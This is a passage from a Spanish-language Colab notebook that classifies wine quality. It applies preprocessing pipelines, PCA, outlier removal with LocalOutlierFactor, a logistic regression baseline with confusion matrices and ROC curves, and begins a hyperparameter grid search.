df_t[\"quality\"].copy()\n\n# Separamos los features (quitamos el target)\ndf_t = df_t.drop(\"quality\", axis=1) # drop labels for training set\ndf_t = df_t.drop(\"vino_num\", axis=1) # drop vino_num for training set\n\n# Separamos los features numéricos\ndf_t_num = df_t.drop(\"type\", axis=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"RYLtMS4r_Ud6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699159, \"user_tz\": 180, \"elapsed\": 188, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"02b7ae50-893a-4c34-b94d-a5022ea8e592\"\ndf_num.head(10)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"pLuXhSQ0_Ud6\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699163, \"user_tz\": 180, \"elapsed\": 180, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"8a87ddf9-1984-4d86-a62c-39012ceba0e2\"\ndf.head(10)\n\n# + [markdown] id=\"wxsDcfj1_Ud6\"\n# Ahora, aplicamos un pipeline para completar los datos faltantes y estandarizar los datos numéricos \n\n# + id=\"dTRWortc_Ud7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036699166, \"user_tz\": 180, \"elapsed\": 173, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Creamos un pipeline numerico, que hace dos acciones consecutivas: primero rellena\n#los valores faltantes (con SimpleImputer) y despues estandariza (con StandardScaler)\n#lo bueno es que se lo pasas a todas las columnas numericas, no una por una como antes\n\nnum_pipeline = Pipeline([ \n ('imputer', SimpleImputer(strategy=\"median\")), \n ('std_scaler', StandardScaler()),\n ])\n\n\n# + id=\"YTtQ9MiD_Ud7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036702269, \"user_tz\": 180, \"elapsed\": 3272, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Trnasformamos train\ndf_num_transformed = num_pipeline.fit_transform(df_num) # Aplicamos el pipeline\ndf_transformed = np.column_stack((df_num_transformed, df[\"type\"])) # Agregamos la columna categórica al data frame transformado. \n\n# + id=\"rvmHdbtzRFWt\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036702295, \"user_tz\": 180, \"elapsed\": 161, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Transformamos test\ndf_t_num_transformed = num_pipeline.fit_transform(df_t_num) # Aplicamos el pipeline\ndf_t_transformed = np.column_stack((df_t_num_transformed, df_t[\"type\"])) # Agregamos la columna categórica al data frame transformado. \n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"94hzSMlk_Ud7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036702301, \"user_tz\": 180, \"elapsed\": 150, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"0b9c13c0-3211-4fd8-f602-a67cf0229d42\"\ndf_t_transformed.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"FO2lcpJtjgsY\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036702304, \"user_tz\": 180, \"elapsed\": 134, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"e56cb6d6-a7c7-4a02-ea1e-e63c341627f3\"\ndf_transformed[1, ]\n\n# + [markdown] id=\"JVQPtFhmrbzC\"\n# Hagamos una análisis de PCA para poder observar los datos. \n\n# + id=\"u9Ex0xEn_Ud7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036702309, \"user_tz\": 180, \"elapsed\": 130, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Aplicamos PCA para ver los datos\nfrom sklearn.decomposition import PCA\npca = PCA(n_components=2)\nX_2d = pca.fit_transform(df_transformed)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 378} id=\"oR39a2nq_Ud8\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036702319, \"user_tz\": 180, \"elapsed\": 110, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"9808b136-7828-4cd7-dc8b-cc5e4fbc85d0\"\n#Graficamos custom CMAP\nt = df_labels \nfrom matplotlib import cm\ncmap = cm.get_cmap('jet', 3) \n\nfig = plt.figure(figsize=(8, 6))\nax = fig.add_subplot(111)\nscat = ax.scatter(*X_2d.T, c=t, s=50, cmap=cmap, \n edgecolors='None', alpha=0.8)\nfig.colorbar(scat);\n\n# + [markdown] id=\"tKwncBnz_Ud8\"\n# Apliquemos un método para la detección y remoción de outliers. \n# Elijo el método **LocalOutlierFactor** que se basa en la distancia entre un punto y sus vecinos. \n\n# + id=\"1j5m_D7P_Ud9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036706271, \"user_tz\": 180, \"elapsed\": 4048, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nfrom sklearn.neighbors import LocalOutlierFactor\n\nlof = LocalOutlierFactor()\n\npreds_otliers = lof.fit_predict(df_transformed)\n\npreds_t_otliers = lof.fit_predict(df_t_transformed)\n\n# + id=\"4sFuoJYg_Ud8\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036706275, \"user_tz\": 180, \"elapsed\": 333, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# LocalOutlierFactor?\n\n# + id=\"FluBFXVl_Ud9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710053, \"user_tz\": 180, \"elapsed\": 4106, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nX_outliers = df_transformed[preds_otliers == -1]\nX_valid = df_transformed[preds_otliers != -1]\nmask = preds_otliers != -1\n\n# + id=\"H-lebK_fRbq9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710055, \"user_tz\": 180, \"elapsed\": 4090, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nX_t_outliers = df_t_transformed[preds_t_otliers == -1]\nX_t_valid = df_t_transformed[preds_t_otliers != -1]\nmask_t = preds_t_otliers != -1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"JKVB45qhUFiO\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710061, \"user_tz\": 180, \"elapsed\": 4087, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"5066335d-c821-4f4d-d522-ed7699791a11\"\nX_t_valid.shape, X_t_outliers.shape\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 347} id=\"GRh7qRMa_Ud9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710063, \"user_tz\": 180, \"elapsed\": 4072, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"6d932582-0ba0-45ba-c5c1-1e77b81dd023\"\ndef plot_outliers_with_valid_samples(X_valid, X_outliers):\n with plt.style.context((\"seaborn\", \"ggplot\")):\n plt.scatter(X_valid[:, 0], X_valid[:, 1], c=\"tab:green\", label=\"Valid Samples\")\n plt.scatter(X_outliers[:, 0], X_outliers[:, 1], c=\"tab:red\", label=\"Outliers\")\n plt.legend(loc=\"best\")\nplot_outliers_with_valid_samples(X_valid, X_outliers)\n\n# + [markdown] id=\"NEvXiTtC_Ud9\"\n# Nos quedamos con los datos clasisificados como **válidos**. Con estos ya separamos los datos en _features_ y _target_ para la aplicación de modelos. \n\n# + id=\"MmYVtWBq_Ud-\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710066, \"user_tz\": 180, \"elapsed\": 4054, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nX_train, t_train = df_transformed[mask, :], df_labels[mask]\n\n# + id=\"Thq9o2sQRj5p\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710070, \"user_tz\": 180, \"elapsed\": 4052, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nX_test, t_test = df_t_transformed[mask_t, :], df_t_labels[mask_t]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"iutK3WZW_Ud-\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710073, \"user_tz\": 180, \"elapsed\": 4046, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"f7079e6a-27c2-4641-bada-2013c511ddde\"\nX_train.shape, t_train.shape, X_train.shape, t_train.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"L1TwNfUBzgW-\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710076, \"user_tz\": 180, \"elapsed\": 4035, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"07627469-961f-4857-f87d-202f30ef934c\"\nX_train[1,]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"3G9XoH1f_Ud-\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710079, \"user_tz\": 180, \"elapsed\": 4031, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"797479b9-8d92-47c1-9d2b-9dc58ca615fe\"\nt_train.value_counts() \n\n# + [markdown] id=\"kcDsaZwZ_Ud-\"\n# Aplicamos PCA otra vez para observar los datos. \n\n# + id=\"T3a_DmGg_Ud_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710081, \"user_tz\": 180, \"elapsed\": 4026, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nx_valid_2d = pca.fit_transform(X_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 378} id=\"DYXl7q3E_Ud_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710084, \"user_tz\": 180, \"elapsed\": 4023, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"679c5e3b-529a-48d7-f896-0f2e24bd9a66\"\nt = t_train \nfrom matplotlib import cm\ncmap = cm.get_cmap('jet', 3) \n\nfig = plt.figure(figsize=(8, 6))\nax = fig.add_subplot(111)\nscat = ax.scatter(*x_valid_2d.T, c=t, s=50, cmap=cmap, \n edgecolors='None', alpha=0.8)\nfig.colorbar(scat);\n\n# + id=\"ABEITe1K_Ud_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710086, \"user_tz\": 180, \"elapsed\": 3988, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Veamos cuántos PC necesitaríamos para explicar al menos el 90% de la varianza de los datos\npca_libre = PCA()\nX_pca = pca_libre.fit_transform(X_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"hSPQRFbE_Ud_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710090, \"user_tz\": 180, \"elapsed\": 3986, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"c0b25025-ff1f-4700-9e65-36a45911ae60\"\nprint('Porcentaje de varianza:', pca_libre.explained_variance_ratio_)\n\nprint('Porcentaje de varianza acumulada:', pca_libre.explained_variance_ratio_.cumsum())\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"wWYXFjhwcFyh\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637036710093, \"user_tz\": 180, \"elapsed\": 3981, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"ce4142f7-7160-4f62-e1fd-38ca3f0339d3\"\n# Graficamos la varianza acumulada vs PC\nprop_varianza_acum = pca_libre.explained_variance_ratio_.cumsum()\n\nfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(9, 4))\nax.plot(\n np.arange(pca_libre.n_components_) + 1,\n prop_varianza_acum,\n marker = 'o'\n)\n\nfor x, y in zip(np.arange(pca_libre.n_components_) + 1, prop_varianza_acum):\n label = round(y, 2)\n ax.annotate(\n label,\n (x,y),\n textcoords=\"offset points\",\n xytext=(0,10),\n ha='center'\n )\n\n#ax.axvline(x=11, linestyle = '--')\nax.set_ylim(0, 1.1)\nax.set_xticks(np.arange(pca_libre.n_components_) + 1)\nax.set_title('PCA: Porcentaje de varianza explicada acumulada')\nax.set_xlabel('Componente principal')\nax.set_ylabel('Varianza acumulada');\n\n# + [markdown] id=\"YX21H-L5_UeA\"\n# ## Ahora si...pasemos a la clasificación!!!\n\n# + [markdown] id=\"IBvVqmog_UeA\"\n# # Regresor Logístico\n\n# + [markdown] id=\"tRywaGBp_UeA\"\n# Probemos un Regresor Logístico como Modelo de Base. \n\n# + id=\"494dmq0b_UeA\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030798155, \"user_tz\": 180, \"elapsed\": 3308, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Importamos funciones de sklearn\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import cross_val_predict, cross_val_score, cross_validate\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import RandomizedSearchCV, GridSearchCV\n\n\n# + id=\"YOe7bb30vZPm\"\n# LogisticRegression?\n\n# + id=\"DnoEseQ1_UeC\"\nlr = LogisticRegression(random_state=42) \n\n# + id=\"-o8tEi-O_UeC\"\nlr_predic = cross_val_predict(lr, X_train, t_train, cv = 5)\n\n# + id=\"lmMj4Vn-_UeC\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636837951370, \"user_tz\": 180, \"elapsed\": 12, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"ffea713e-639d-4675-90ea-e85047367007\"\ncm_lr = confusion_matrix(t_train, lr_predic)\nprint(cm_lr)\n\n\n# + id=\"Vqzf2eDkpHgZ\"\n# Defino una función para graficar la matriz de confusion\ndef graficar_matriz_confusion(cm, true_labels):\n df_cm = pd.DataFrame(cm, columns=np.unique(true_labels), index=np.unique(true_labels))\n df_cm.index.name = 'Etiqueta'\n df_cm.columns.name = 'Predicción'\n\n ax= plt.subplot()\n sns.heatmap(df_cm, annot=True, fmt='g', ax=ax, cmap=\"viridis\")\n plt.title('Matriz de Confusión')\n plt.show()\n\n\n# + id=\"aas9KWoR_UeC\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 497} executionInfo={\"status\": \"ok\", \"timestamp\": 1636837959478, \"user_tz\": 180, \"elapsed\": 580, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"a279b118-4912-4b1e-8ac0-685befb936c3\"\n# Graficamos la matriz de confusion\ngraficar_matriz_confusion(cm_lr, t_train)\n\n# + [markdown] id=\"9HqsjRir_UeC\"\n# Observamos que las clases 2 y 3 tienen mayor cantidad de TP que la clase 1. Esto no es sorprendente pues son las clases más pobladas. Sin embargo, la clase 2 es la peor clasificada, dada la mayor tasa de FP en esta clase.\n# \n\n# + id=\"oNpD0392_UeD\"\nscores_lr = cross_validate(lr, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n#print(scores_lr)\n\n# + id=\"_XkFdR5o_UeD\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636837971533, \"user_tz\": 180, \"elapsed\": 319, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"ed3a1cb1-b444-4062-9eba-a514712f8e3f\"\naccuracy = scores_lr['test_accuracy']\nf1_macro = scores_lr['test_f1_macro']\nrecall_macro = scores_lr['test_recall_macro']\nprecision_macro = scores_lr['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + id=\"DyBS30Ywc1Bd\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030821897, \"user_tz\": 180, \"elapsed\": 326, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# Defino una función para calcular la curva ROC de cada clase (adaptada de StackOverflow). \n# Se basa en el método de \"One vs all\"\n\nfrom sklearn.preprocessing import label_binarize\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom itertools import cycle\n\ndef curvas_roc_one_vs_rest(n_clases, nom_clases, true_labels, y_score):\n # Binarizamos las etiquetas \n y = label_binarize(true_labels, classes=nom_clases)\n\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n\n for i in range(n_clases):\n fpr[i], tpr[i], _ = roc_curve(y[:, i], y_score[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n \n colors = cycle(['red','yellowgreen','turquoise'])\n for i, color in zip(range(n_clases), colors):\n plt.plot(fpr[i], tpr[i], color=color, linewidth=3,\n label='Curva ROC clase {0} (AUC = {1:2.2%})'\n ''.format(i+1, roc_auc[i]))\n plt.plot([0, 1], [0, 1], color='0.5', ls=':')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.0])\n plt.xlabel('Tasa de falsos positivos (FPR)')\n plt.ylabel('Tasa de verdaderos positivos (TPR)')\n plt.title('Curvas ROC por clase (One-vs-Rest)')\n plt.legend(loc=\"lower right\")\n plt.show()\n\n\n# + id=\"RNhkE5QLOVka\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030830964, \"user_tz\": 180, \"elapsed\": 350, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n# También podemos graficar una curva ROC \"promedio\"\ndef curva_roc_promedio_macro(n_clases, nom_clases, true_labels, y_score):\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n #Binarizamos las etiquetas\n\n y_labels = label_binarize(true_labels, classes=nom_clases)\n \n for i in range(n_clases):\n fpr[i], tpr[i], _ = roc_curve(y_labels[:, i], y_score[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n # Calculamos la curva ROC promedio-macro y la AUC \n # Se juntan todos los FP \n all_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_clases)]))\n # Se interpolan todas las curvas ROC\n mean_tpr = np.zeros_like(all_fpr)\n \n for i in range(n_clases):\n mean_tpr += np.interp(all_fpr, fpr[i], tpr[i])\n # Se promedia y se calcula la AUC\n mean_tpr /= n_clases\n fpr[\"macro\"] = all_fpr\n tpr[\"macro\"] = mean_tpr\n roc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n plt.plot(fpr[\"macro\"], tpr[\"macro\"], label='AUC = {0:2.2%}'\n ''.format(roc_auc[\"macro\"]), linewidth=3)\n plt.plot([0, 1], [0, 1], color='0.5', ls=':')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.0])\n plt.xlabel('Tasa de falsos positivos (FPR)')\n plt.ylabel('Tasa de verdaderos positivos (TPR)')\n plt.title('Curva ROC promedio-macro')\n plt.legend(loc=\"lower right\")\n plt.show()\n\n\n# + id=\"MDtg__kkOTIC\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030842780, \"user_tz\": 180, \"elapsed\": 321, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\n\ndef curvas_roc_multiclase(n_clases, nom_clases, true_labels, y_score):\n # Binarizamos las etiquetas \n y = label_binarize(true_labels, classes=nom_clases)\n\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n\n for i in range(n_clases):\n fpr[i], tpr[i], _ = roc_curve(y[:, i], y_score[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n\n # Calculamos la curva ROC promedio-macro y la AUC \n # Se juntan todos los FP \n all_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_clases)]))\n # Se interpolan todas las curvas ROC\n mean_tpr = np.zeros_like(all_fpr)\n \n for i in range(n_clases):\n mean_tpr += np.interp(all_fpr, fpr[i], tpr[i])\n # Se promedia y se calcula la AUC\n mean_tpr /= n_clases\n fpr[\"macro\"] = all_fpr\n tpr[\"macro\"] = mean_tpr\n roc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n \n colors = cycle(['red','yellowgreen','turquoise'])\n for i, color in zip(range(n_clases), colors):\n plt.plot(fpr[i], tpr[i], color=color, linewidth=3,\n label='Curva ROC clase {0} (AUC = {1:2.2%})'\n ''.format(i+1, roc_auc[i]))\n \n plt.plot(fpr[\"macro\"], tpr[\"macro\"], linewidth=3, color = 'black', label='Promedio-macro (AUC = {0:2.2%})'\n ''.format(roc_auc[\"macro\"]))\n plt.plot([0, 1], [0, 1], color='0.5', ls=':')\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.0])\n plt.xlabel('Tasa de falsos positivos (FPR)')\n plt.ylabel('Tasa de verdaderos positivos (TPR)')\n plt.title('Curvas ROC')\n plt.legend(loc=\"lower right\")\n plt.show()\n\n\n# + id=\"yNNbW5a5f2Gl\"\ny_score_lr = cross_val_predict(lr, X_train, t_train, cv = 5, method = \"predict_proba\")\n\n# + id=\"3NgJU5aXKSHs\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030851650, \"user_tz\": 180, \"elapsed\": 335, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nn_clases = 3\nnom_clases = [1, 2, 3]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"YjQ2obmIfRm1\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636839902944, \"user_tz\": 180, \"elapsed\": 492, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"478cba9c-ad79-48ef-c7b9-e1bfedcda7c1\"\n# Graficamos la curva ROC \n\ncurvas_roc_one_vs_rest(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=y_score_lr)\n\n# + id=\"5z6RgE_vhTPZ\"\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"MBRuDARPstVm\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636838311980, \"user_tz\": 180, \"elapsed\": 467, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"c03d4df9-2fa5-432f-e9c1-6818c3855e80\"\ncurva_roc_promedio_macro(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=y_score_lr)\n\n# + [markdown] id=\"rVq5re5M_UeD\"\n# Ajustemos las perillas del Regresor Logístico con GridSearchCV. \n#\n\n# + id=\"lFEGfqP1_UeD\"\nfrom sklearn.model_selection import GridSearchCV \nfrom sklearn.model_selection import RandomizedSearchCV\n\n# + id=\"G8YdgOtJ_UeE\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636838622230, \"user_tz\": 180, \"elapsed\": 287843, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"bbef9a89-9089-4cd4-e9da-6290573cf83a\"\nparams_lr = {'penalty' : ['l2', 'l1'],\n 'C' : np.logspace(-4, 4, 20),\n 'solver' : ['newton-cg', 'sag', 'lbfgs'],\n 'max_iter': [200, 250, 300],\n 'tol' : [0.001, 0.0001], \n 'multi_class' : ['ovr', 'multinomial']}\n\ngrilla_lr = 